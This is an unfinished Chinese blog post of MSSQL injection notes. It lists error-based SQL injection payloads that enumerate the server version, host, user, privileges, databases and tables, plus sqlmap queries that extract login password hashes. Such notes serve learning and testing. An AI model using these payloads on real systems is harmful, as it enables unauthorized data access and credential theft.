Mssql注入实战

  1. 信息收集
  2. mssql

没有写完

信息收集

Emmm,mssql默认是存在sysobjects这个表的。

判断数据库:

1
2
'and exists (select * from sysobjects) --	//正确
'and exists (select * from mysysobjects) -- //>对象名 'mysysobjects' 无效。

基本信息收集:

1
2
3
4
5
6
'and 1=@@version--	//数据库
'and 1=host_name()-- //主机名
'and 1=@@servername-- //服务名
'and 1=db_name()-- //当前数据库名
'and 1=user-- //当前用户
'and 1=(select IS_SRVROLEMEMBER('sysadmin'))-- //返回正常为sa权限,也就是最高的权限

数据库:

1
2
'and 1=(select quotename(name) from master..sysdatabases FOR XML PATH(''))--	//一次爆出所有数据库(仅限mssql2005以上	)
'and 1=(select '|'%2bname%2b'|' from master..sysdatabases FOR XML PATH(''))-- //一次爆出所有数据库(仅限mssql2005以上 )

表名:

1
'and 1=(select quotename(name) from 数据库名..sysobjects where xtype='U' FOR XML PATH(''))--	//一次爆数据库所有表(只限于mssql2005及以上版本)

…..

后来发现xp_cmdshell启用不了,又很少遇见mssql的站点,所以就去搭了一个mssql的环境,电脑卡死了,搭建了一上午~

mssql

首先来看一下默认的数据:

1
2
3
4
master	//存放数据库中的配置信息、用户登陆信息等
model //建立数据库的模板
msdb //记录操作
tempdb //存放临时数据

主要是想看下mssql数据库的账号密码啥的,就去sqlmap里面翻了翻命令:

1
2
3
4
5
6
7
<is_dba query="IS_SRVROLEMEMBER('sysadmin')=1" query2="IS_SRVROLEMEMBER('sysadmin','%s')=1"/>
<users>
<inband query="SELECT name FROM master..syslogins" query2="SELECT name FROM sys.sql_logins"/>
</users>
<passwords>
<inband query="SELECT name,master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins" query2="SELECT name,master.dbo.fn_varbintohexstr(password_hash) FROM sys.sql_logins" condition="name"/>
</passwords>

然后运行下命令


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 sher10cksec@foxmail.com

文章标题:Mssql注入实战

本文作者:sher10ck

发布时间:2019-07-25, 09:07:22

最后更新:2020-01-13, 13:05:03

原始链接:http://sherlocz.github.io/2019/07/25/Mssql注入实战/

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录